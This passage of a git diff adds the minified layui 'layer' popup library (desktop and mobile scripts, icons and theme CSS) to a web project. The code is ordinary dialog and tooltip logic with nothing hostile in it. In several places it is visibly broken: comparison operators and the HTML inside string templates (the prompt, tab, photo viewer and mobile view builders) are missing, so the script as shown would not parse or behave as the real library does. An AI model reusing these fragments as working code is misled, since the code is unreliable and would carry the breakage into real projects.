t.offset;e.offsetTop=(n.height()-a[1])/2,e.offsetLeft=(n.width()-a[0])/2,o?(e.offsetTop=t.offset[0],e.offsetLeft=t.offset[1]||e.offsetLeft):"auto"!==t.offset&&("t"===t.offset?e.offsetTop=0:"r"===t.offset?e.offsetLeft=n.width()-a[0]:"b"===t.offset?e.offsetTop=n.height()-a[1]:"l"===t.offset?e.offsetLeft=0:"lt"===t.offset?(e.offsetTop=0,e.offsetLeft=0):"lb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=0):"rt"===t.offset?(e.offsetTop=0,e.offsetLeft=n.width()-a[0]):"rb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=n.width()-a[0]):e.offsetTop=t.offset),t.fixed||(e.offsetTop=/%$/.test(e.offsetTop)?n.height()*parseFloat(e.offsetTop)/100:parseFloat(e.offsetTop),e.offsetLeft=/%$/.test(e.offsetLeft)?n.width()*parseFloat(e.offsetLeft)/100:parseFloat(e.offsetLeft),e.offsetTop+=n.scrollTop(),e.offsetLeft+=n.scrollLeft()),i.attr("minLeft")&&(e.offsetTop=n.height()-(i.find(l[1]).outerHeight()||0),e.offsetLeft=i.css("left")),i.css({top:e.offsetTop,left:e.offsetLeft})},s.pt.tips=function(){var e=this,t=e.config,a=e.layero,o=[a.outerWidth(),a.outerHeight()],r=i(t.follow);r[0]||(r=i("body"));var s={width:r.outerWidth(),height:r.outerHeight(),top:r.offset().top,left:r.offset().left},f=a.find(".layui-layer-TipsG"),c=t.tips[0];t.tips[1]||f.remove(),s.autoLeft=function(){s.left+o[0]-n.width()>0?(s.tipLeft=s.left+s.width-o[0],f.css({right:12,left:"auto"})):s.tipLeft=s.left},s.where=[function(){s.autoLeft(),s.tipTop=s.top-o[1]-10,f.removeClass("layui-layer-TipsB").addClass("layui-layer-TipsT").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left+s.width+10,s.tipTop=s.top,f.removeClass("layui-layer-TipsL").addClass("layui-layer-TipsR").css("border-bottom-color",t.tips[1])},function(){s.autoLeft(),s.tipTop=s.top+s.height+10,f.removeClass("layui-layer-TipsT").addClass("layui-layer-TipsB").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left-o[0]-10,s.tipTop=s.top,f.removeClass("layui-layer-TipsR").addClass("layui-layer-TipsL").css("border-bottom-color",t.tips[1])}],s.where[c-1](),1===c?s.top-(n.scrollTop()+o[1]+16)<0&&s.where[2]():2===c?n.width()-(s.left+s.width+o[0]+16)>0||s.where[3]():3===c?s.top-n.scrollTop()+s.height+o[1]+16-n.height()>0&&s.where[0]():4===c&&o[0]+16-s.left>0&&s.where[1](),a.find("."+l[5]).css({"background-color":t.tips[1],"padding-right":t.closeBtn?"30px":""}),a.css({left:s.tipLeft-(t.fixed?n.scrollLeft():0),top:s.tipTop-(t.fixed?n.scrollTop():0)})},s.pt.move=function(){var e=this,t=e.config,a=i(document),s=e.layero,l=s.find(t.move),f=s.find(".layui-layer-resize"),c={};return t.move&&l.css("cursor","move"),l.on("mousedown",function(e){e.preventDefault(),t.move&&(c.moveStart=!0,c.offset=[e.clientX-parseFloat(s.css("left")),e.clientY-parseFloat(s.css("top"))],o.moveElem.css("cursor","move").show())}),f.on("mousedown",function(e){e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],c.area=[s.outerWidth(),s.outerHeight()],o.moveElem.css("cursor","se-resize").show()}),a.on("mousemove",function(i){if(c.moveStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1],l="fixed"===s.css("position");if(i.preventDefault(),c.stX=l?0:n.scrollLeft(),c.stY=l?0:n.scrollTop(),!t.moveOut){var f=n.width()-s.outerWidth()+c.stX,u=n.height()-s.outerHeight()+c.stY;af&&(a=f),ou&&(o=u)}s.css({left:a,top:o})}if(t.resize&&c.resizeStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1];i.preventDefault(),r.style(e.index,{width:c.area[0]+a,height:c.area[1]+o}),c.isResize=!0,t.resizing&&t.resizing(s)}}).on("mouseup",function(e){c.moveStart&&(delete c.moveStart,o.moveElem.hide(),t.moveEnd&&t.moveEnd(s)),c.resizeStart&&(delete c.resizeStart,o.moveElem.hide())}),e},s.pt.callback=function(){function e(){var e=a.cancel&&a.cancel(t.index,n);e===!1||r.close(t.index)}var t=this,n=t.layero,a=t.config;t.openLayer(),a.success&&(2==a.type?n.find("iframe").on("load",function(){a.success(n,t.index)}):a.success(n,t.index)),6==r.ie&&t.IE6(n),n.find("."+l[6]).children("a").on("click",function(){var e=i(this).index();if(0===e)a.yes?a.yes(t.index,n):a.btn1?a.btn1(t.index,n):r.close(t.index);else{var o=a["btn"+(e+1)]&&a["btn"+(e+1)](t.index,n);o===!1||r.close(t.index)}}),n.find("."+l[7]).on("click",e),a.shadeClose&&i("#layui-layer-shade"+t.index).on("click",function(){r.close(t.index)}),n.find(".layui-layer-min").on("click",function(){var e=a.min&&a.min(n);e===!1||r.min(t.index,a)}),n.find(".layui-layer-max").on("click",function(){i(this).hasClass("layui-layer-maxmin")?(r.restore(t.index),a.restore&&a.restore(n)):(r.full(t.index,a),setTimeout(function(){a.full&&a.full(n)},100))}),a.end&&(o.end[t.index]=a.end)},o.reselect=function(){i.each(i("select"),function(e,t){var n=i(this);n.parents("."+l[0])[0]||1==n.attr("layer")&&i("."+l[0]).length<1&&n.removeAttr("layer").show(),n=null})},s.pt.IE6=function(e){i("select").each(function(e,t){var n=i(this);n.parents("."+l[0])[0]||"none"===n.css("display")||n.attr({layer:"1"}).hide(),n=null})},s.pt.openLayer=function(){var e=this;r.zIndex=e.config.zIndex,r.setTop=function(e){var t=function(){r.zIndex++,e.css("z-index",r.zIndex+1)};return r.zIndex=parseInt(e[0].style.zIndex),e.on("mousedown",t),r.zIndex}},o.record=function(e){var t=[e.width(),e.height(),e.position().top,e.position().left+parseFloat(e.css("margin-left"))];e.find(".layui-layer-max").addClass("layui-layer-maxmin"),e.attr({area:t})},o.rescollbar=function(e){l.html.attr("layer-full")==e&&(l.html[0].style.removeProperty?l.html[0].style.removeProperty("overflow"):l.html[0].style.removeAttribute("overflow"),l.html.removeAttr("layer-full"))},e.layer=r,r.getChildFrame=function(e,t){return t=t||i("."+l[4]).attr("times"),i("#"+l[0]+t).find("iframe").contents().find(e)},r.getFrameIndex=function(e){return i("#"+e).parents("."+l[4]).attr("times")},r.iframeAuto=function(e){if(e){var t=r.getChildFrame("html",e).outerHeight(),n=i("#"+l[0]+e),a=n.find(l[1]).outerHeight()||0,o=n.find("."+l[6]).outerHeight()||0;n.css({height:t+a+o}),n.find("iframe").css({height:t})}},r.iframeSrc=function(e,t){i("#"+l[0]+e).find("iframe").attr("src",t)},r.style=function(e,t,n){var a=i("#"+l[0]+e),r=a.find(".layui-layer-content"),s=a.attr("type"),f=a.find(l[1]).outerHeight()||0,c=a.find("."+l[6]).outerHeight()||0;a.attr("minLeft");s!==o.type[3]&&s!==o.type[4]&&(n||(parseFloat(t.width)<=260&&(t.width=260),parseFloat(t.height)-f-c<=64&&(t.height=64+f+c)),a.css(t),c=a.find("."+l[6]).outerHeight(),s===o.type[2]?a.find("iframe").css({height:parseFloat(t.height)-f-c}):r.css({height:parseFloat(t.height)-f-c-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom"))}))},r.min=function(e,t){var a=i("#"+l[0]+e),s=a.find(l[1]).outerHeight()||0,f=a.attr("minLeft")||181*o.minIndex+"px",c=a.css("position");o.record(a),o.minLeft[0]&&(f=o.minLeft[0],o.minLeft.shift()),a.attr("position",c),r.style(e,{width:180,height:s,left:f,top:n.height()-s,position:"fixed",overflow:"hidden"},!0),a.find(".layui-layer-min").hide(),"page"===a.attr("type")&&a.find(l[4]).hide(),o.rescollbar(e),a.attr("minLeft")||o.minIndex++,a.attr("minLeft",f)},r.restore=function(e){var t=i("#"+l[0]+e),n=t.attr("area").split(",");t.attr("type");r.style(e,{width:parseFloat(n[0]),height:parseFloat(n[1]),top:parseFloat(n[2]),left:parseFloat(n[3]),position:t.attr("position"),overflow:"visible"},!0),t.find(".layui-layer-max").removeClass("layui-layer-maxmin"),t.find(".layui-layer-min").show(),"page"===t.attr("type")&&t.find(l[4]).show(),o.rescollbar(e)},r.full=function(e){var t,a=i("#"+l[0]+e);o.record(a),l.html.attr("layer-full")||l.html.css("overflow","hidden").attr("layer-full",e),clearTimeout(t),t=setTimeout(function(){var t="fixed"===a.css("position");r.style(e,{top:t?0:n.scrollTop(),left:t?0:n.scrollLeft(),width:n.width(),height:n.height()},!0),a.find(".layui-layer-min").hide()},100)},r.title=function(e,t){var n=i("#"+l[0]+(t||r.index)).find(l[1]);n.html(e)},r.close=function(e){var t=i("#"+l[0]+e),n=t.attr("type"),a="layer-anim-close";if(t[0]){var s="layui-layer-wrap",f=function(){if(n===o.type[1]&&"object"===t.attr("conType")){t.children(":not(."+l[5]+")").remove();for(var a=t.find("."+s),r=0;r<2;r++)a.unwrap();a.css("display",a.data("display")).removeClass(s)}else{if(n===o.type[2])try{var f=i("#"+l[4]+e)[0];f.contentWindow.document.write(""),f.contentWindow.close(),t.find("."+l[5])[0].removeChild(f)}catch(c){}t[0].innerHTML="",t.remove()}"function"==typeof o.end[e]&&o.end[e](),delete o.end[e]};t.data("isOutAnim")&&t.addClass("layer-anim "+a),i("#layui-layer-moves, #layui-layer-shade"+e).remove(),6==r.ie&&o.reselect(),o.rescollbar(e),t.attr("minLeft")&&(o.minIndex--,o.minLeft.push(t.attr("minLeft"))),r.ie&&r.ie<10||!t.data("isOutAnim")?f():setTimeout(function(){f()},200)}},r.closeAll=function(e){i.each(i("."+l[0]),function(){var t=i(this),n=e?t.attr("type")===e:1;n&&r.close(t.attr("times")),n=null})};var f=r.cache||{},c=function(e){return f.skin?" "+f.skin+" "+f.skin+"-"+e:""};r.prompt=function(e,t){var a="";if(e=e||{},"function"==typeof e&&(t=e),e.area){var o=e.area;a='style="width: '+o[0]+"; height: "+o[1]+';"',delete e.area}var s,l=2==e.formType?'":function(){return''}(),f=e.success;return delete e.success,r.open(i.extend({type:1,btn:["确定","取消"],content:l,skin:"layui-layer-prompt"+c("prompt"),maxWidth:n.width(),success:function(e){s=e.find(".layui-layer-input"),s.focus(),"function"==typeof f&&f(e)},resize:!1,yes:function(i){var n=s.val();""===n?s.focus():n.length>(e.maxlength||500)?r.tips("最多输入"+(e.maxlength||500)+"个字数",s,{tips:1}):t&&t(n,i,s)}},e))},r.tab=function(e){e=e||{};var t=e.tab||{},n="layui-this",a=e.success;return delete e.success,r.open(i.extend({type:1,skin:"layui-layer-tab"+c("tab"),resize:!1,title:function(){var e=t.length,i=1,a="";if(e>0)for(a=''+t[0].title+"";i"+t[i].title+"";return a}(),content:'
    '+function(){var e=t.length,i=1,a="";if(e>0)for(a='
  • '+(t[0].content||"no content")+"
  • ";i'+(t[i].content||"no content")+"";return a}()+"
",success:function(t){var o=t.find(".layui-layer-title").children(),r=t.find(".layui-layer-tabmain").children();o.on("mousedown",function(t){t.stopPropagation?t.stopPropagation():t.cancelBubble=!0;var a=i(this),o=a.index();a.addClass(n).siblings().removeClass(n),r.eq(o).show().siblings().hide(),"function"==typeof e.change&&e.change(o)}),"function"==typeof a&&a(t)}},e))},r.photos=function(t,n,a){function o(e,t,i){var n=new Image;return n.src=e,n.complete?t(n):(n.onload=function(){n.onload=null,t(n)},void(n.onerror=function(e){n.onerror=null,i(e)}))}var s={};if(t=t||{},t.photos){var l=t.photos.constructor===Object,f=l?t.photos:{},u=f.data||[],d=f.start||0;s.imgIndex=(0|d)+1,t.img=t.img||"img";var y=t.success;if(delete t.success,l){if(0===u.length)return r.msg("没有图片")}else{var p=i(t.photos),h=function(){u=[],p.find(t.img).each(function(e){var t=i(this);t.attr("layer-index",e),u.push({alt:t.attr("alt"),pid:t.attr("layer-pid"),src:t.attr("layer-src")||t.attr("src"),thumb:t.attr("src")})})};if(h(),0===u.length)return;if(n||p.on("click",t.img,function(){var e=i(this),n=e.attr("layer-index");r.photos(i.extend(t,{photos:{start:n,data:u,tab:t.tab},full:t.full}),!0),h()}),!n)return}s.imgprev=function(e){s.imgIndex--,s.imgIndex<1&&(s.imgIndex=u.length),s.tabimg(e)},s.imgnext=function(e,t){s.imgIndex++,s.imgIndex>u.length&&(s.imgIndex=1,t)||s.tabimg(e)},s.keyup=function(e){if(!s.end){var t=e.keyCode;e.preventDefault(),37===t?s.imgprev(!0):39===t?s.imgnext(!0):27===t&&r.close(s.index)}},s.tabimg=function(e){if(!(u.length<=1))return f.start=s.imgIndex-1,r.close(s.index),r.photos(t,!0,e)},s.event=function(){s.bigimg.hover(function(){s.imgsee.show()},function(){s.imgsee.hide()}),s.bigimg.find(".layui-layer-imgprev").on("click",function(e){e.preventDefault(),s.imgprev()}),s.bigimg.find(".layui-layer-imgnext").on("click",function(e){e.preventDefault(),s.imgnext()}),i(document).on("keyup",s.keyup)},s.loadi=r.load(1,{shade:!("shade"in t)&&.9,scrollbar:!1}),o(u[d].src,function(n){r.close(s.loadi),s.index=r.open(i.extend({type:1,id:"layui-layer-photos",area:function(){var a=[n.width,n.height],o=[i(e).width()-100,i(e).height()-100];if(!t.full&&(a[0]>o[0]||a[1]>o[1])){var r=[a[0]/o[0],a[1]/o[1]];r[0]>r[1]?(a[0]=a[0]/r[0],a[1]=a[1]/r[0]):r[0]'+(u[d].alt||
'+(u.length>1?'':"")+'
'+(u[d].alt||"")+""+s.imgIndex+"/"+u.length+"
",success:function(e,i){s.bigimg=e.find(".layui-layer-phimg"),s.imgsee=e.find(".layui-layer-imguide,.layui-layer-imgbar"),s.event(e),t.tab&&t.tab(u[d],e),"function"==typeof y&&y(e)},end:function(){s.end=!0,i(document).off("keyup",s.keyup)}},t))},function(){r.close(s.loadi),r.msg("当前图片地址异常
是否继续查看下一张?",{time:3e4,btn:["下一张","不看了"],yes:function(){u.length>1&&s.imgnext(!0,!0)}})})}},o.run=function(t){i=t,n=i(e),l.html=i("html"),r.open=function(e){var t=new s(e);return t.index}},e.layui&&layui.define?(r.ready(),layui.define("jquery",function(t){r.path=layui.cache.dir,o.run(layui.$),e.layer=r,t("layer",r)})):"function"==typeof define&&define.amd?define(["jquery"],function(){return o.run(e.jQuery),r}):function(){o.run(e.jQuery),r.ready()}()}(window); \ No newline at end of file diff --git a/public/static/handle/js/layer-v3.1.1/mobile/layer.js b/public/static/handle/js/layer-v3.1.1/mobile/layer.js new file mode 100644 index 0000000..f9cf693 --- /dev/null +++ b/public/static/handle/js/layer-v3.1.1/mobile/layer.js @@ -0,0 +1,2 @@ +/*! layer mobile-v2.0.0 Web弹层组件 MIT License http://layer.layui.com/mobile By 贤心 */ + ;!function(e){"use strict";var t=document,n="querySelectorAll",i="getElementsByClassName",a=function(e){return t[n](e)},s={type:0,shade:!0,shadeClose:!0,fixed:!0,anim:"scale"},l={extend:function(e){var t=JSON.parse(JSON.stringify(s));for(var n in e)t[n]=e[n];return t},timer:{},end:{}};l.touch=function(e,t){e.addEventListener("click",function(e){t.call(this,e)},!1)};var r=0,o=["layui-m-layer"],c=function(e){var t=this;t.config=l.extend(e),t.view()};c.prototype.view=function(){var e=this,n=e.config,s=t.createElement("div");e.id=s.id=o[0]+r,s.setAttribute("class",o[0]+" "+o[0]+(n.type||0)),s.setAttribute("index",r);var l=function(){var e="object"==typeof n.title;return n.title?'

'+(e?n.title[0]:n.title)+"

":""}(),c=function(){"string"==typeof n.btn&&(n.btn=[n.btn]);var e,t=(n.btn||[]).length;return 0!==t&&n.btn?(e=''+n.btn[0]+"",2===t&&(e=''+n.btn[1]+""+e),'
'+e+"
"):""}();if(n.fixed||(n.top=n.hasOwnProperty("top")?n.top:100,n.style=n.style||"",n.style+=" top:"+(t.body.scrollTop+n.top)+"px"),2===n.type&&(n.content='

'+(n.content||"")+"

"),n.skin&&(n.anim="up"),"msg"===n.skin&&(n.shade=!1),s.innerHTML=(n.shade?"
':"")+'
"+l+'
'+n.content+"
"+c+"
",!n.type||2===n.type){var d=t[i](o[0]+n.type),y=d.length;y>=1&&layer.close(d[0].getAttribute("index"))}document.body.appendChild(s);var u=e.elem=a("#"+e.id)[0];n.success&&n.success(u),e.index=r++,e.action(n,u)},c.prototype.action=function(e,t){var n=this;e.time&&(l.timer[n.index]=setTimeout(function(){layer.close(n.index)},1e3*e.time));var a=function(){var t=this.getAttribute("type");0==t?(e.no&&e.no(),layer.close(n.index)):e.yes?e.yes(n.index):layer.close(n.index)};if(e.btn)for(var s=t[i]("layui-m-layerbtn")[0].children,r=s.length,o=0;odiv{line-height:22px;padding-top:7px;margin-bottom:20px;font-size:14px}.layui-m-layerbtn{display:box;display:-moz-box;display:-webkit-box;width:100%;height:50px;line-height:50px;font-size:0;border-top:1px solid #D0D0D0;background-color:#F2F2F2}.layui-m-layerbtn span{display:block;-moz-box-flex:1;box-flex:1;-webkit-box-flex:1;font-size:14px;cursor:pointer}.layui-m-layerbtn span[yes]{color:#40AFFE}.layui-m-layerbtn span[no]{border-right:1px solid #D0D0D0;border-radius:0 0 0 5px}.layui-m-layerbtn span:active{background-color:#F6F6F6}.layui-m-layerend{position:absolute;right:7px;top:10px;width:30px;height:30px;border:0;font-weight:400;background:0 0;cursor:pointer;-webkit-appearance:none;font-size:30px}.layui-m-layerend::after,.layui-m-layerend::before{position:absolute;left:5px;top:15px;content:'';width:18px;height:1px;background-color:#999;transform:rotate(45deg);-webkit-transform:rotate(45deg);border-radius:3px}.layui-m-layerend::after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}body .layui-m-layer .layui-m-layer-footer{position:fixed;width:95%;max-width:100%;margin:0 auto;left:0;right:0;bottom:10px;background:0 0}.layui-m-layer-footer .layui-m-layercont{padding:20px;border-radius:5px 5px 0 0;background-color:rgba(255,255,255,.8)}.layui-m-layer-footer .layui-m-layerbtn{display:block;height:auto;background:0 0;border-top:none}.layui-m-layer-footer .layui-m-layerbtn span{background-color:rgba(255,255,255,.8)}.layui-m-layer-footer .layui-m-layerbtn span[no]{color:#FD482C;border-top:1px solid #c2c2c2;border-radius:0 0 5px 5px}.layui-m-layer-footer .layui-m-layerbtn span[yes]{margin-top:10px;border-radius:5px}body .layui-m-layer .layui-m-layer-msg{width:auto;max-width:90%;margin:0 auto;bottom:-150px;background-color:rgba(0,0,0,.7);color:#fff}.layui-m-layer-msg .layui-m-layercont{padding:10px 20px} \ No newline at end of file diff --git a/public/static/handle/js/layer-v3.1.1/theme/default/icon-ext.png b/public/static/handle/js/layer-v3.1.1/theme/default/icon-ext.png new file mode 100644 index 0000000..bbbb669 Binary files /dev/null and b/public/static/handle/js/layer-v3.1.1/theme/default/icon-ext.png differ diff --git a/public/static/handle/js/layer-v3.1.1/theme/default/icon.png b/public/static/handle/js/layer-v3.1.1/theme/default/icon.png new file mode 100644 index 0000000..3e17da8 Binary files /dev/null and b/public/static/handle/js/layer-v3.1.1/theme/default/icon.png differ diff --git a/public/static/handle/js/layer-v3.1.1/theme/default/layer.css b/public/static/handle/js/layer-v3.1.1/theme/default/layer.css new file mode 100644 index 0000000..820b4a9 --- /dev/null +++ b/public/static/handle/js/layer-v3.1.1/theme/default/layer.css @@ -0,0 +1 @@ +.layui-layer-imgbar,.layui-layer-imgtit a,.layui-layer-tab .layui-layer-title span,.layui-layer-title{text-overflow:ellipsis;white-space:nowrap}html #layuicss-layer{display:none;position:absolute;width:1989px}.layui-layer,.layui-layer-shade{position:fixed;_position:absolute;pointer-events:auto}.layui-layer-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+"px")}.layui-layer{-webkit-overflow-scrolling:touch;top:150px;left:0;margin:0;padding:0;background-color:#fff;-webkit-background-clip:content;border-radius:2px;box-shadow:1px 1px 50px rgba(0,0,0,.3)}.layui-layer-close{position:absolute}.layui-layer-content{position:relative}.layui-layer-border{border:1px solid #B2B2B2;border:1px solid rgba(0,0,0,.1);box-shadow:1px 1px 5px rgba(0,0,0,.2)}.layui-layer-load{background:url(loading-1.gif) center center no-repeat #eee}.layui-layer-ico{background:url(icon.png) no-repeat}.layui-layer-btn a,.layui-layer-dialog .layui-layer-ico,.layui-layer-setwin a{display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-move{display:none;position:fixed;*position:absolute;left:0;top:0;width:100%;height:100%;cursor:move;opacity:0;filter:alpha(opacity=0);background-color:#fff;z-index:2147483647}.layui-layer-resize{position:absolute;width:15px;height:15px;right:0;bottom:0;cursor:se-resize}.layer-anim{-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.3s;animation-duration:.3s}@-webkit-keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-00{-webkit-animation-name:layer-bounceIn;animation-name:layer-bounceIn}@-webkit-keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-01{-webkit-animation-name:layer-zoomInDown;animation-name:layer-zoomInDown}@-webkit-keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}.layer-anim-02{-webkit-animation-name:layer-fadeInUpBig;animation-name:layer-fadeInUpBig}@-webkit-keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-03{-webkit-animation-name:layer-zoomInLeft;animation-name:layer-zoomInLeft}@-webkit-keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}.layer-anim-04{-webkit-animation-name:layer-rollIn;animation-name:layer-rollIn}@keyframes layer-fadeIn{0%{opacity:0}100%{opacity:1}}.layer-anim-05{-webkit-animation-name:layer-fadeIn;animation-name:layer-fadeIn}@-webkit-keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}.layer-anim-06{-webkit-animation-name:layer-shake;animation-name:layer-shake}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.layui-layer-title{padding:0 80px 0 20px;height:42px;line-height:42px;border-bottom:1px solid #eee;font-size:14px;color:#333;overflow:hidden;background-color:#F8F8F8;border-radius:2px 2px 0 0}.layui-layer-setwin{position:absolute;right:15px;*right:0;top:15px;font-size:0;line-height:initial}.layui-layer-setwin a{position:relative;width:16px;height:16px;margin-left:10px;font-size:12px;_overflow:hidden}.layui-layer-setwin .layui-layer-min cite{position:absolute;width:14px;height:2px;left:0;top:50%;margin-top:-1px;background-color:#2E2D3C;cursor:pointer;_overflow:hidden}.layui-layer-setwin .layui-layer-min:hover cite{background-color:#2D93CA}.layui-layer-setwin .layui-layer-max{background-position:-32px -40px}.layui-layer-setwin .layui-layer-max:hover{background-position:-16px -40px}.layui-layer-setwin .layui-layer-maxmin{background-position:-65px -40px}.layui-layer-setwin .layui-layer-maxmin:hover{background-position:-49px -40px}.layui-layer-setwin .layui-layer-close1{background-position:1px -40px;cursor:pointer}.layui-layer-setwin .layui-layer-close1:hover{opacity:.7}.layui-layer-setwin .layui-layer-close2{position:absolute;right:-28px;top:-28px;width:30px;height:30px;margin-left:0;background-position:-149px -31px;*right:-18px;_display:none}.layui-layer-setwin .layui-layer-close2:hover{background-position:-180px -31px}.layui-layer-btn{text-align:right;padding:0 15px 12px;pointer-events:auto;user-select:none;-webkit-user-select:none}.layui-layer-btn a{height:28px;line-height:28px;margin:5px 5px 0;padding:0 15px;border:1px solid #dedede;background-color:#fff;color:#333;border-radius:2px;font-weight:400;cursor:pointer;text-decoration:none}.layui-layer-btn a:hover{opacity:.9;text-decoration:none}.layui-layer-btn a:active{opacity:.8}.layui-layer-btn .layui-layer-btn0{border-color:#1E9FFF;background-color:#1E9FFF;color:#fff}.layui-layer-btn-l{text-align:left}.layui-layer-btn-c{text-align:center}.layui-layer-dialog{min-width:260px}.layui-layer-dialog .layui-layer-content{position:relative;padding:20px;line-height:24px;word-break:break-all;overflow:hidden;font-size:14px;overflow-x:hidden;overflow-y:auto}.layui-layer-dialog .layui-layer-content .layui-layer-ico{position:absolute;top:16px;left:15px;_left:-40px;width:30px;height:30px}.layui-layer-ico1{background-position:-30px 0}.layui-layer-ico2{background-position:-60px 0}.layui-layer-ico3{background-position:-90px 0}.layui-layer-ico4{background-position:-120px 0}.layui-layer-ico5{background-position:-150px 0}.layui-layer-ico6{background-position:-180px 0}.layui-layer-rim{border:6px solid #8D8D8D;border:6px solid rgba(0,0,0,.3);border-radius:5px;box-shadow:none}.layui-layer-msg{min-width:180px;border:1px solid #D3D4D3;box-shadow:none}.layui-layer-hui{min-width:100px;background-color:#000;filter:alpha(opacity=60);background-color:rgba(0,0,0,.6);color:#fff;border:none}.layui-layer-hui .layui-layer-content{padding:12px 25px;text-align:center}.layui-layer-dialog .layui-layer-padding{padding:20px 20px 20px 55px;text-align:left}.layui-layer-page .layui-layer-content{position:relative;overflow:auto}.layui-layer-iframe .layui-layer-btn,.layui-layer-page .layui-layer-btn{padding-top:10px}.layui-layer-nobg{background:0 0}.layui-layer-iframe iframe{display:block;width:100%}.layui-layer-loading{border-radius:100%;background:0 0;box-shadow:none;border:none}.layui-layer-loading .layui-layer-content{width:60px;height:24px;background:url(loading-0.gif) no-repeat}.layui-layer-loading .layui-layer-loading1{width:37px;height:37px;background:url(loading-1.gif) no-repeat}.layui-layer-ico16,.layui-layer-loading .layui-layer-loading2{width:32px;height:32px;background:url(loading-2.gif) no-repeat}.layui-layer-tips{background:0 0;box-shadow:none;border:none}.layui-layer-tips .layui-layer-content{position:relative;line-height:22px;min-width:12px;padding:8px 15px;font-size:12px;_float:left;border-radius:2px;box-shadow:1px 1px 3px rgba(0,0,0,.2);background-color:#000;color:#fff}.layui-layer-tips .layui-layer-close{right:-2px;top:-1px}.layui-layer-tips i.layui-layer-TipsG{position:absolute;width:0;height:0;border-width:8px;border-color:transparent;border-style:dashed;*overflow:hidden}.layui-layer-tips i.layui-layer-TipsB,.layui-layer-tips i.layui-layer-TipsT{left:5px;border-right-style:solid;border-right-color:#000}.layui-layer-tips i.layui-layer-TipsT{bottom:-8px}.layui-layer-tips i.layui-layer-TipsB{top:-8px}.layui-layer-tips i.layui-layer-TipsL,.layui-layer-tips i.layui-layer-TipsR{top:5px;border-bottom-style:solid;border-bottom-color:#000}.layui-layer-tips i.layui-layer-TipsR{left:-8px}.layui-layer-tips i.layui-layer-TipsL{right:-8px}.layui-layer-lan[type=dialog]{min-width:280px}.layui-layer-lan .layui-layer-title{background:#4476A7;color:#fff;border:none}.layui-layer-lan .layui-layer-btn{padding:5px 10px 10px;text-align:right;border-top:1px solid #E9E7E7}.layui-layer-lan .layui-layer-btn a{background:#fff;border-color:#E9E7E7;color:#333}.layui-layer-lan .layui-layer-btn .layui-layer-btn1{background:#C9C5C5}.layui-layer-molv .layui-layer-title{background:#009f95;color:#fff;border:none}.layui-layer-molv .layui-layer-btn 